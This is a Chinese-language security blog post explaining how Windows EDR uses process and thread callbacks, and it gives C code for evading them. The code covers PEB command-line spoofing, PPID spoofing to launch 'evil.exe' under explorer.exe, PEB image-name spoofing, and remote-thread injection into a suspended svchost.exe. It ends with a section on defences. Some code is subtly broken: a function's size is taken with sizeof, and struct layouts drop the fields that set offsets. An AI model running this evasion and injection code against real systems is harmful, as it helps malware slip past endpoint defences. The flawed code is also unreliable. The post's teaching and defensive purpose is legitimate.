Windows EDR 如何通过回调机制拦截程序?3 类规避方案 + 防御对策详解

77次阅读
没有评论

在 Windows 安全领域,不少开发者或安全研究者会遇到一个问题:自己编写的程序(甚至是用于测试的样本)一启动就被 EDR(端点检测响应)工具拦截。这背后,EDR 的“火眼金睛”并非凭空而来,而是依赖 Windows 系统赋予的特殊权限 —— 回调机制。今天我们就从原理到实践,拆解 EDR 的工作逻辑,以及常见的规避思路,最后再聊聊现代 EDR 的防御升级。

一、EDR 的“眼线”:回调例程如何监控进程?

很多人疑惑,为什么 EDR 能精准捕捉到刚启动的程序?核心原因在于 Windows 为安全软件开放了“通知接口”,也就是 回调例程(Callback Routine) 。我们可以用一个通俗的比喻理解:如果把 Windows 系统比作一座工厂,你的代码是工厂里的工人,EDR 就是工厂派驻的安全检查员,而回调例程就是检查员的“固定岗哨”。

只要工厂里发生关键事件(比如新工人入职、新生产线启动),检查员就会第一时间收到通知 —— 这就是 EDR 能“提前拦截”的关键。

1.1 回调例程的工作原理:从注册到通知

Windows 系统中有多个“关键通知点(Notification Points)”,EDR 的驱动程序会通过系统 API 向这些节点注册回调函数。以最核心的“进程创建通知”为例,其简化的实现逻辑如下:

// 定义进程创建通知的回调函数格式
typedef VOID (*PCREATE_PROCESS_NOTIFY_ROUTINE)(
    HANDLE ProcessId,       // 新进程 ID
    HANDLE CreatorProcessId,// 父进程 ID
    BOOLEAN Create          // 是否为创建操作
);

// EDR 驱动向 Windows 注册回调
PsSetCreateProcessNotifyRoutine(
    EdmProcessNotifyRoutine,  // EDR 自定义的回调函数
    FALSE                     // 设为 FALSE 表示“注册”,TRUE 表示“删除”);

当你执行 CreateProcessACreateProcessW创建新进程时,Windows 会自动触发 EDR 注册的回调函数,并传递 3 类关键信息:

  • 新进程的 ID 和父进程 ID;
  • 进程在磁盘上的完整路径;
  • 进程启动时的命令行参数。

更关键的是,这个通知发生在 进程实际执行代码之前—— 相当于程序还没“睁开眼”,就已经被 EDR“扫描全身”了。

1.2 除了进程,EDR 还监控线程:更隐蔽的“岗哨”

如果说“进程创建通知”是 EDR 的第一道防线,那“线程创建通知”就是第二道更隐蔽的监控。毕竟很多高级攻击不会创建新进程,而是在现有合法进程中注入线程(比如在 explorer.exe 中运行恶意代码),此时线程回调就能发挥作用。

线程回调的注册逻辑与进程类似,只需通过 PsSetCreateThreadNotifyRoutine 注册自定义函数,当任何进程创建新线程时,EDR 都会收到ProcessId(所属进程 ID)和ThreadId(线程 ID)的通知 —— 这意味着即使不新建进程,单纯的线程注入也会被 EDR 捕捉。

二、3 类经典 EDR 规避方案:从“掩人耳目”到“借壳生蛋”

了解了 EDR 的监控逻辑后,安全研究者会针对性地设计规避方案。这些方案的核心思路一致:利用 EDR 的“观察盲点”,修改其获取的关键信息,或绕开其监控节点。以下是 3 类最常见的实践方案,均附核心实现逻辑。

2.1 命令行篡改:修改 PEB 中的“身份信息”

EDR 获取进程命令行的核心来源,是 Windows 的 进程环境块(PEB,Process Environment Block) 。PEB 中存储了进程的关键参数,其中 RTL_USER_PROCESS_PARAMETERS 结构体的 CommandLine 字段,就是 EDR 读取的“命令行原文”。

规避思路很直接:在进程启动后,修改 PEB 中 CommandLine 的内容,让 EDR 后续读取时看到虚假信息。核心代码如下:

#include <windows.h>
#include <stdio.h>

// 定义 PEB 相关结构体(简化版)typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING;

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;
    // 省略其他字段...
    UNICODE_STRING CommandLine;  // 待修改的命令行字段
} RTL_USER_PROCESS_PARAMETERS;

int main() {
    // 64 位系统中,通过 GS 寄存器偏移 0x60 获取 PEB 地址
    PPEB peb = (PPEB)__readgsqword(0x60);
    RTL_USER_PROCESS_PARAMETERS* params = (RTL_USER_PROCESS_PARAMETERS*)peb->ProcessParameters;
    
    // 将恶意命令行伪装成系统进程命令行
    wcscpy_s(params->CommandLine.Buffer, 
             params->CommandLine.MaximumLength, 
             L"C:\\Windows\\System32\\svchost.exe -k netsvcs");
    return 0;
}

注意:这种方案有明显局限性 —— 现代 EDR 会在回调触发时(进程创建初期)就记录命令行,后续修改 PEB 的操作“为时已晚”,仅对部分旧版本 EDR 有效。

2.2 父进程 ID(PPID)欺骗:让恶意进程“认对爹”

EDR 在判断进程是否可疑时,会关注“父进程身份”。比如一个 notepad.exe 突然创建了一个未知进程,EDR 会标记为高风险;但如果这个未知进程的父进程是explorer.exe(系统桌面进程)或svchost.exe(系统服务进程),就会显得“合理”很多。

PPID 欺骗的核心是:创建恶意进程时,通过 Windows 的扩展启动属性,将其“父进程”伪装成合法系统进程。核心代码如下:

#include <windows.h>
#include <tlhelp32.h>

// 辅助函数:根据进程名获取进程句柄
HANDLE GetProcessHandle(const char* targetName) {HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32A pe = {sizeof(pe)};
    while (Process32NextA(hSnapshot, &pe)) {if (strcmp(pe.szExeFile, targetName) == 0) {CloseHandle(hSnapshot);
            return OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
        }
    }
    CloseHandle(hSnapshot);
    return NULL;
}

int main() {STARTUPINFOEXA siex = {0};
    SIZE_T attrSize = 0;
    PROCESS_INFORMATION pi = {0};

    // 初始化进程属性列表
    InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
    siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(attrSize);
    InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &attrSize);

    // 获取 explorer.exe 的句柄(伪装成父进程)HANDLE hParent = GetProcessHandle("explorer.exe");
    // 设置“父进程”属性
    UpdateProcThreadAttribute(
        siex.lpAttributeList,
        0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,  // 关键属性:父进程
        &hParent,
        sizeof(HANDLE),
        NULL,
        NULL
    );

    siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    // 创建恶意进程,使用扩展属性(伪装父进程)CreateProcessA(
        "C:\\test\\evil.exe",
        NULL,
        NULL,
        NULL,
        FALSE,
        EXTENDED_STARTUPINFO_PRESENT,  // 启用扩展启动信息
        NULL,
        NULL,
        &siex.StartupInfo,
        &pi
    );

    // 释放资源
    CloseHandle(hParent);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    free(siex.lpAttributeList);
    return 0;
}

这种方案的优势是“伪装度高”,EDR 看到的父进程是系统合法进程,初期不易触发告警。但如果后续进程行为异常(比如连接恶意 IP),仍会被 EDR 的行为分析捕捉。

2.3 进程镜像修改:给恶意进程“换个名字”

EDR 识别进程的另一关键依据是 进程镜像(Process Image) —— 即进程对应的磁盘二进制文件路径和名称。如果能修改内存中记录的镜像信息,就能让 EDR“认错进程”。

进程镜像信息存储在 PEB 的 PEB_LDR_DATA 结构体中,其中 LDR_MODULEBaseDllName(文件名)和FullDllName(完整路径)是核心字段。修改这两个字段,就能实现“换名”效果:

#include <windows.h>

// 定义 PEB_LDR_DATA 和 LDR_MODULE 结构体(简化版)typedef struct _PEB_LDR_DATA {
    ULONG Length;
    BOOLEAN Initialized;
    HANDLE SsHandle;
    LIST_ENTRY InLoadOrderModuleList;  // 模块列表
    // 省略其他字段...
} PEB_LDR_DATA;

typedef struct _LDR_MODULE {
    LIST_ENTRY InLoadOrderModuleList;
    PVOID BaseAddress;  // 模块基地址
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;  // 完整路径
    UNICODE_STRING BaseDllName;  // 文件名
    // 省略其他字段...
} LDR_MODULE;

int main() {
    // 获取当前进程的 PEB
    PPEB peb = (PPEB)__readgsqword(0x60);
    PEB_LDR_DATA* ldr = (PEB_LDR_DATA*)peb->Ldr;
    // 获取进程的主模块(第一个模块)LDR_MODULE* mainModule = (LDR_MODULE*)ldr->InLoadOrderModuleList.Flink;

    // 将恶意进程名伪装成 svchost.exe
    wcscpy_s(mainModule->BaseDllName.Buffer, 
             mainModule->BaseDllName.MaximumLength, 
             L"svchost.exe");
    // 将路径伪装成系统路径
    wcscpy_s(mainModule->FullDllName.Buffer,
             mainModule->FullDllName.MaximumLength,
             L"C:\\Windows\\System32\\svchost.exe");
    
    return 0;
}

关键逻辑:EDR 扫描进程时,会优先读取 PEB 中的镜像信息;如果在进程启动初期就修改这些字段,EDR 看到的就是“假身份”。但现代 EDR 会结合“代码完整性检查”(对比内存代码与磁盘文件),单纯改名字很容易被识破。

三、终极大招:进程注入(Process Injection),绕开进程创建监控

前面 3 种方案有一个共同缺陷:都需要创建新进程,而新进程启动时必然触发 EDR 的“进程创建回调”—— 只是通过伪装降低了告警概率。有没有办法完全绕开进程创建监控?答案是 进程注入:不新建进程,而是将恶意代码注入到已有的合法进程中执行。

其中“Fork & Run”是最经典的注入方式,核心步骤分为 5 步:

3.1 Fork & Run 注入的实现逻辑

#include <windows.h>

// 假设这是待注入的恶意代码(示例:弹出消息框)void maliciousCode() {MessageBoxA(NULL, "Injected Success!", "Notice", MB_OK);
}

int main() {STARTUPINFOA si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);

    // 步骤 1:创建“傀儡进程”(svchost.exe),并设为挂起状态
    CreateProcessA(
        "C:\\Windows\\System32\\svchost.exe",  // 合法系统进程
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,  // 关键:进程创建后暂停,不执行代码
        NULL,
        NULL,
        &si,
        &pi
    );

    // 步骤 2:在傀儡进程中分配可执行内存
    PVOID remoteMem = VirtualAllocEx(
        pi.hProcess,
        NULL,
        sizeof(maliciousCode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE  // 内存权限:可执行、可读、可写
    );

    // 步骤 3:将恶意代码写入傀儡进程的内存
    WriteProcessMemory(
        pi.hProcess,
        remoteMem,
        maliciousCode,
        sizeof(maliciousCode),
        NULL
    );

    // 步骤 4:在傀儡进程中创建远程线程,执行恶意代码
    CreateRemoteThread(
        pi.hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)remoteMem,
        NULL,
        0,
        NULL
    );

    // 步骤 5:唤醒傀儡进程,使其继续执行(此时恶意代码已注入)ResumeThread(pi.hThread);

    // 释放资源
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return 0;
}

3.2 为什么注入难以拦截?

从 EDR 的视角来看,整个过程几乎“无异常”:

  1. 进程创建阶段:看到的是 svchost.exe 启动(系统合法进程,无告警);
  2. 线程创建阶段:看到 svchost.exe 中新建线程(系统进程新建线程很常见,低风险);
  3. 代码执行阶段:EDR 无法直接判断线程执行的是“合法代码”还是“注入的恶意代码”。

这就像“伪装成快递员进入小区,再从小区内部发起行动”—— 初期的身份验证通过,后续行为就需要更细致的监控才能识别。

四、现代 EDR 的防御升级:不再依赖“表面信息”

面对层出不穷的规避方案,现代 EDR 早已不是“看名字、看父进程”的初级阶段,而是通过 多层次、多维度的监控 构建防御体系,主要包括 3 类核心措施:

4.1 代码完整性检查(Code Integrity)

EDR 会对比进程内存中的代码与磁盘文件的哈希值、签名信息。比如注入到 svchost.exe 的恶意代码,其内存区域的哈希与磁盘上 svchost.exe 的哈希不一致,EDR 会直接标记为“可疑”。部分 EDR 还会启用“强制代码完整性(Enforced Code Integrity)”,只允许经过签名的代码在内存中执行。

4.2 行为分析(Behavioral Analysis)

无论伪装得多好,恶意代码最终会暴露“恶意行为”。EDR 会监控进程的动态行为,比如:

  • 异常文件操作:在 C:\\Windows\\System32 目录写入非系统文件;
  • 可疑网络连接:连接已知恶意 IP、发起反向 Shell;
  • 敏感注册表修改:修改HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run(开机启动项);
  • 权限提升尝试:调用 AdjustTokenPrivileges 获取管理员权限。

一个“伪装成 svchost.exe”的进程,如果频繁执行上述行为,EDR 会触发高风险告警。

4.3 全层级监控:从用户态到内核态

传统 EDR 主要监控用户态 API 调用,而现代 EDR 会深入到内核态,直接监控系统调用(Syscall)。同时结合网络层(监控异常流量)、文件系统层(监控可疑文件读写)、注册表层(监控敏感键值修改),形成“立体防御网”—— 即使在用户态绕开了进程监控,也会在内核态或网络层被捕捉。

五、总结:EDR 与规避技术的“猫鼠游戏”

Windows EDR 与规避技术的对抗,本质是“信息差”的博弈:

  • EDR 的优势在于“深度访问权限”:通过回调例程、内核态监控,获取进程启动、线程创建的早期信息;
  • 规避技术的核心是“利用盲点”:修改 EDR 读取的表面信息(命令行、PPID、镜像名),或绕开监控节点(进程注入);
  • 现代 EDR 的破局点是“多维验证”:不再依赖单一信息,而是通过代码完整性、行为分析、全层级监控,消除“盲点”。

对于安全研究者而言,理解这套逻辑有 3 个核心价值:

  1. 设计防护方案时,避免“单点防御”,优先构建多层次监控;
  2. 做威胁检测时,能识别“伪装行为”背后的异常(比如 PPID 异常、代码哈希不匹配);
  3. 红队演练时,能更精准地评估 EDR 的防御边界,避免无效规避。

最终要明确:没有“万能的规避方案”,也没有“永不失效的 EDR”。这场“猫鼠游戏”的终点,永远是更完善的防御体系和更深入的原理理解。

正文完
 0
Fr2ed0m
版权声明:本站原创文章,由 Fr2ed0m 于2025-10-26发表,共计7208字。
转载说明:Unless otherwise specified, all articles are published by cc-4.0 protocol. Please indicate the source of reprint.
评论(没有评论)